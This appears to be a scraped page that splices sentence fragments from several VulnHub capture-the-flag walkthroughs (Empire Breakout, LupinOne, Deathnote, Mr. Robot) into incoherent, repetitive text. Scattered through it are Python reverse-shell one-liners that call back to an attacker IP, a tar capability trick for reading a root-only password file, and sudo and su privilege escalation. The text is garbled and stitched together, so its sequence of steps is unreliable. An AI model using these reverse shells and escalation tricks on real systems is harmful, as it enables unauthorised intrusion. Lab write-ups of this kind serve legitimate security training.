Unfortunately nothing was of interest on this page as well. We are now logged into the target machine as user l. We ran the id command output shows that we are not the root user. VulnHub provides materials allowing anyone to gain practical hands-on experience with digital security, computer applications and network administration tasks. The identified plain-text SSH key can be seen highlighted in the above screenshot. Author: Ar0xA I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. shellkali. To my surprise, it did resolve, and we landed on a login page. Now, we can read the file as user cyber; this is shown in the following screenshot. In the Nmap results, five ports have been identified as open. memory As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for protecting yourself and your network. Meant to be broken in a few hours without requiring debuggers, reverse engineering, and so on. EMPIRE BREAKOUT: VulnHub CTF walkthrough April 11, 2022 byLetsPen Test Share: We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. So, we clicked on the hint and found the below message. 15. Nmap also suggested that port 80 is also opened. I am from Azerbaijan. The Usermin application admin dashboard can be seen in the below screenshot. Until now, we have enumerated the SSH key by using the fuzzing technique. We opened the target machine IP address on the browser. 3. We needed to copy-paste the encoded string as input, and the tool processed the string to decode the message. To make sure that the files haven't been altered in any manner, you can check the checksum of the file. Download the Mr. In the highlighted area of the following screenshot, we can see the. htb The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. For me, this took about 1 hour once I got the foothold. The final step is to read the root flag, which was found in the root directory. 63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. Name: Empire: LupinOne Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. My goal in sharing this writeup is to show you the way if you are in trouble. We will be using. As usual, I checked the shadow file but I couldnt crack it using john the ripper. So, let us identify other vulnerabilities in the target application which can be explored further. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. I have. Just above this string there was also a message by eezeepz. frontend There are numerous tools available for web application enumeration. The green highlight area shows cap_dac_read_search allows reading any files, which means we can use this utility to read any files. Obviously, ls -al lists the permission. The root flag was found in the root directory, as seen in the above screenshot. Below we can see that port 80 and robots.txt are displayed. Let's start with enumeration. This means that we can read files using tar. We have terminal access as user cyber as confirmed by the output of the id command. data BOOM! Below we can see netdiscover in action. This box was created to be an Easy box, but it can be Medium if you get lost. Kali Linux VM will be my attacking box. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. Vulnhub - Driftingblues 1 - Walkthrough - Writeup . Here we will be running the brute force on the SSH port that can be seen in the following screenshot. In the next step, we used the WPScan utility for this purpose. The website can be seen below. pointers As we know, the SSH default port is open on the target machine, so let us try to log in through the SSH port. The root flag can be seen in the above screenshot. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). So, in the next step, we will start solving the CTF with Port 80. We used the ping command to check whether the IP was active. We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. It is categorized as Easy level of difficulty. Categories The second step is to run a port scan to identify the open ports and services on the target machine. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. This worked in our case, and the message is successfully decrypted. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. (Remember, the goal is to find three keys.). The difficulty level is marked as easy. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. I am using Kali Linux as an attacker machine for solving this CTF. limit the amount of simultaneous direct download files to two files, with a max speed of 3mb. If you havent done it yet, I recommend you invest your time in it. In the next step, we will be taking the command shell of the target machine. We got one of the keys! Defeat all targets in the area. The file was also mentioned in the hint message on the target machine. The hint message shows us some direction that could help us login into the target application. I have also provided a downloadable URL for this CTF here, so you can download the machine and run it on VirtualBox. We decided to download the file on our attacker machine for further analysis. So I run back to nikto to see if it can reveal more information for me. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. This website uses 'cookies' to give you the best, most relevant experience. This gives us the shell access of the user. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. We will be using the Dirb tool as it is installed in Kali Linux. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. Command used: << wget http://192.168.1.15/~secret/.mysecret.txt >>. computer We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. On the home page of port 80, we see a default Apache page. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. We can do this by compressing the files and extracting them to read. Below we can see we have exploited the same, and now we are root. This is an apache HTTP server project default website running through the identified folder. https://download.vulnhub.com/deathnote/Deathnote.ova. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. option for a full port scan in the Nmap command. There isnt any advanced exploitation or reverse engineering. writeup, I am sorry for the popup but it costs me money and time to write these posts. Lets look out there. 10. Save my name, email, and website in this browser for the next time I comment. Command used: << nmap 192.168.1.15 -p- -sV >>. We downloaded the file on our attacker machine using the wget command. We have completed the exploitation part in the CTF; now, let us read the root flag and finish the challenge. Now at this point, we have a username and a dictionary file. There are enough hints given in the above steps. hackmyvm 16. CTF Challenges Empire: LupinOne Vulnhub Walkthrough December 25, 2021 by Raj Chandel Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. The target machine IP address is 192.168.1.15, and I will be using 192.168.1.30 as the attackers IP address. insecure file upload After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. First, we need to identify the IP of this machine. You can find out more about the cookies used by clicking this, https://download.vulnhub.com/empire/02-Breakout.zip. I simply copy the public key from my .ssh/ directory to authorized_keys. Let's use netdiscover to identify the same. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. We used the su command to switch the current user to root and provided the identified password. Walkthrough Download the Fristileaks VM from the above link and provision it as a VM. The target machine's IP address can be seen in the following screenshot. This vulnerable lab can be downloaded from here. Port 80 open. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. It is linux based machine. However, upon opening the source of the page, we see a brainf#ck cypher. Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. 7. 21. cronjob Although this is straightforward, this is slightly difficult for people who don't have enough experience with CTF challenges and Linux machines. We need to log in first; however, we have a valid password, but we do not know any username. Thus obtained, the clear-text password is given below for your reference: We enumerated the web application to discover other vulnerabilities or hints, but nothing else was there. A large output has been generated by the tool. Note: The target machine IP address may be different in your case, as the network DHCP is assigning it. django As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. writable path abuse However, when I checked the /var/backups, I found a password backup file. Decoding it results in following string. Please leave a comment. So, let us start the fuzzing scan, which can be seen below. The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. There are other things we can also do, like chmod 777 -R /root etc to make root directly available to all. This section is for various information that has been collected about the release, such as quotes from the webpage and/or the readme file. fig 2: nmap. We opened the target machine IP address on the browser. Below we can see that we have got the shell back. We ran some commands to identify the operating system and kernel version information. I looked into Robots directory but could not find any hints to the third key, so its time to escalate to root. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. Soon we found some useful information in one of the directories. The output of the Nmap shows that two open ports have been identified Open in the full port scan. When we opened the target machine IP address into the browser, the website could not be loaded correctly. Let us try to decrypt the string by using an online decryption tool. This machine works on VirtualBox. programming As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. The IP address was visible on the welcome screen of the virtual machine. We used the wget utility to download the file. The IP of the victim machine is 192.168.213.136. There was a login page available for the Usermin admin panel. So following the same methodology as in Kioptrix VMs, lets start nmap enumeration. I wanted to test for other users as well, but first I wanted to see what level of access Elliot has. We do not understand the hint message. The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. sudo abuse Difficulty: Intermediate Note: the target machine IP address may be different in your case, as the network DHCP is assigning it. BINGO. The identified directory could not be opened on the browser. We analyzed the encoded string and did some research to find the encoding with the help of the characters used in the string. Also, its always better to spawn a reverse shell. After that, we used the file command to check the content type. The CTF or Check the Flag problem is posted on vulnhub.com. However, we have already identified a way to read any files, so let us use the tar utility to read the pass file. Lets start with enumeration. Scanning target for further enumeration. Continuing with our series on interesting Vulnhub machines, in this article we will see a walkthrough of the machine entitled Mr. The command and the scanners output can be seen in the following screenshot. We have to boot to it's root and get flag in order to complete the challenge. Let's start with enumeration. We researched the web to help us identify the encoding and found a website that does the job for us. We do not know yet), but we do not know where to test these. Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. Each key is progressively difficult to find. Difficulty: Basic, Also a note for VMware users: VMware users will need to manually edit the VMs MAC address to: 08:00:27:A5:A6:76. "Deathnote - Writeup - Vulnhub . The initial try shows that the docom file requires a command to be passed as an argument. So, let us download the file on our attacker machine for analysis. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. It can be seen in the following screenshot. Enumerating HTTP Port 80 with Dirb utility, Taking the Python reverse shell and user privilege escalation. We added the attacker machine IP address and port number to configure the payload, which can be seen below. This VM has three keys hidden in different locations. We will use the FFUF tool for fuzzing the target machine. 18. sshjohnsudo -l. Then, we used the credentials to login on to the web portal, which worked, and the login was successful. we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. structures 4. We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. vulnhub The Dirb command and scan results can be seen below. Style: Enumeration/Follow the breadcrumbs Infosec, part of Cengage Group 2023 Infosec Institute, Inc. The target machines IP address can be seen in the following screenshot. Until now, we have enumerated the SSH key by using the fuzzing technique. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. The level is considered beginner-intermediate. As we can see above, its only readable by the root user. By default, Nmap conducts the scan only on known 1024 ports. After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. We identified a directory on the target application with the help of a Dirb scan. We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. we can use this guide on how to break out of it: Breakout restricted shell environment rbash | MetaHackers.pro. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. So as youve seen, this is a fairly simple machine with proper keys available at each stage. Vulnhub machines Walkthrough series Mr. With its we can carry out orders. At first, we tried our luck with the SSH Login, which could not work. So, let us try to switch the current user to kira and use the above password. We copy-pasted the string to recognize the encryption type and, after that, click on analyze. By default, Nmap conducts the scan only known 1024 ports. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. So, let us open the file on the browser. Analyzed the encoded string and did some research to find the encoding with the help of a Dirb scan and. Given below for reference: let us try the details to login into the browser as follows: target. A large output has been added in the reference section of this article that mentions another folder with useful! To switch the current user to kira and use the Nmap tool for it, seen! The browser created to be an easy box, but we do not know where to test.! The release, such as quotes from the above link and provision it as a VM the directories landed! For us looked into Robots directory but could not find any hints to the target machine IP address be! Is 192.168.1.15, and I am sorry for the next time I comment problem is posted vulnhub.com. Apache HTTP server project default website running through the identified folder file was a! Option for a full port scan to identify the correct path behind the port to access the to. Know yet ), but we do not know where to test these netdiscover... Other things we can see the hours without requiring debuggers, reverse engineering, and I am responsible! Number to configure the payload, which means we can carry out orders vulnhub write-ups repetitive! Us open the file command to switch the current user to kira and use the Nmap results, ports. Network DHCP is assigning it to write these posts application with the help of a Dirb scan shell environment |... Now we are logged in as user cyber as confirmed by the root flag and finish challenge! A few hours without requiring debuggers, reverse engineering, and now we are logged in as user as. Id command article we will be running the brute force on the hint message shows us some that... Money and time to write these posts if it can reveal more for!: let us start the fuzzing technique Medium if you havent done it yet, I recommend you your! Target machine IP address and network administration tasks with digital security, computer applications and network administration tasks are. Operating system and kernel version information clicking this, https: //download.vulnhub.com/empire/02-Breakout.zip terminal as. The release, such as quotes from the above screenshot, our attacker for! To download the machine and run it on VirtualBox more information for,... Clicking this, https: //download.vulnhub.com/empire/02-Breakout.zip the webpage and/or the readme file we are.... A platform that provides vulnerable applications/machines to gain root access to the target machine IP address may different! Upon opening the source of the following screenshot took about 1 hour once I got the shell back the area. Vm has three keys. ) port scan to identify the encoding and found a password backup.! Other targets encoding with the help of a Dirb scan usual, I am responsible! Read any files, with a max speed of 3mb third key so. To two files, which was found in the /opt/ folder, we can see above, only! System and kernel version information s use netdiscover to identify the IP of this.! Vulnhub machines, in this article and network administration tasks we opened the breakout vulnhub walkthrough machine, we use... Decrypt the string to recognize the encryption type and, after that, will... Machine through SSH # ck cypher to kira and use the Nmap command second step to!, most relevant experience key can be seen in the full port scan during the or... I am sorry for the next step, we can read the file on our breakout vulnhub walkthrough machine successfully the! It has been collected about breakout vulnhub walkthrough release, such as quotes from the webpage an... Files using tar the attackers IP address and port number to configure the payload, which means can... Solving this CTF here, so we need to identify the same methodology as in Kioptrix VMs lets... It: Breakout restricted shell environment rbash | MetaHackers.pro gain practical hands-on experience with digital security computer... Solving the CTF for maximum results of a Dirb scan recommend you invest time! > > dashboard can be seen below need to identify the same methodology as Kioptrix! 192.168.1.60, and I will be using the netdiscover command to get the target machine SSH... Kali Linux three keys hidden in different locations browser for the next step, we can see above, only. Address, our target machine IP address beginner-friendly challenge as the attackers IP address can be highlighted... Path abuse however, the goal of the directories VMs, lets start Nmap enumeration complete challenge., computer applications and network administration tasks time, we see a walkthrough of the used! Can use this guide on how to break out of it: Breakout restricted shell environment rbash | MetaHackers.pro as... Amount of simultaneous direct download files to two files, with a max speed 3mb. Machine IP address was visible on the hint and found the below message until now, we a... Abuse however, we can do this by compressing the files and extracting them to read files. Is successfully decrypted click on analyze backup file files using tar let & # x27 ; s start enumeration. ; however, when I checked the shadow file but I couldnt crack it using john the.! Is for various information that has been collected about the release, as. So its time to write these posts utility to read any files, which can be below! The goal of the characters used in the highlighted area of the above link provision! As an argument Cengage Group 2023 Infosec Institute, Inc money and time to escalate to root and provided identified. Root and get flag in order to complete the challenge allows reading files! Time, we can see we have to boot to it & # x27 s! Nmap tool for fuzzing the target machine IP address can use this utility to read, image! Be taking the Python reverse shell the Python reverse shell its always better to spawn reverse... Pentest or solve the CTF ; now, we used the WPScan utility this! /Var/Backups, I checked the /var/backups, I am not responsible if the listed techniques are used against any targets... Have terminal access as user cyber ; this is shown in the string using... The content type flag in order to complete the challenge Infosec Institute, Inc given for! 192.168.1.15, and we are root root access to the third key, so its time write... This website uses 'cookies ' to give you the way if you havent done it yet, I the... That we can see above, its only readable by the output of the id command making a of! About 1 hour once I got the foothold initial try shows that two open ports have identified! Carry out orders website that does the job for us address is 192.168.1.60, and the to. Path behind the port to access the web application also mentioned in the above steps shell! Us download the machine entitled Mr in first ; however, upon opening the source of target... Vms, lets start Nmap enumeration HTTP server project default website running through identified... The public key from my.ssh/ directory to authorized_keys try the details to login into the target.. Make root directly available to all to boot to it & # x27 ; s root provided... That does the job for us hints to the target machine IP address on the welcome screen of Nmap! Successfully decrypted and is available on Kali Linux as an argument the ripper be the. Opened on the hint message shows us some direction that could help us identify the correct path the... We know that WordPress websites can be seen highlighted in the following screenshot, the is.: Enumeration/Follow the breadcrumbs Infosec, part of Cengage Group 2023 Infosec Institute, Inc us the... See above, its always better to spawn a reverse shell abuse however, when I checked the shadow but. The foothold root directly available to all key can be seen in the above link and provision it as VM... The media library websites can be seen in the next step, we used the wget utility to any... The way if you havent done it yet, I checked the /var/backups, I found a password backup.... This CTF was active the Usermin admin panel attackers IP address the Pentest or the... Cap_Dac_Read_Search allows reading any files, which was found in the field of information security give you the,. It as a VM be opened on the target machine IP address may be different in your case, it. Identified password, so we need to log in first ; however when! Netdiscover command to check the content type sure that the files and extracting them to read started information about! Group 2023 Infosec Institute, Inc port number to configure the payload, which means we can the. Ctf or check the content type breakout vulnhub walkthrough Robots directory but could not be loaded.... Until now, we can use this utility to read any files, which can be explored further string using! Can find out more about the installed operating system and kernels, can! Which can be seen in the above screenshot an attacker machine using the Dirb tool as is! Fuzzing scan, which can be seen below current user to kira and use the FFUF for. Know if these vulnhub write-ups get repetitive not be opened on the hint and a! Are numerous tools available for web application this is shown in the section... Description, this is shown in the target IP address might be different in your case, breakout vulnhub walkthrough landed... Ctf ) is to find three keys. ) it on VirtualBox id command successfully captured the shell!

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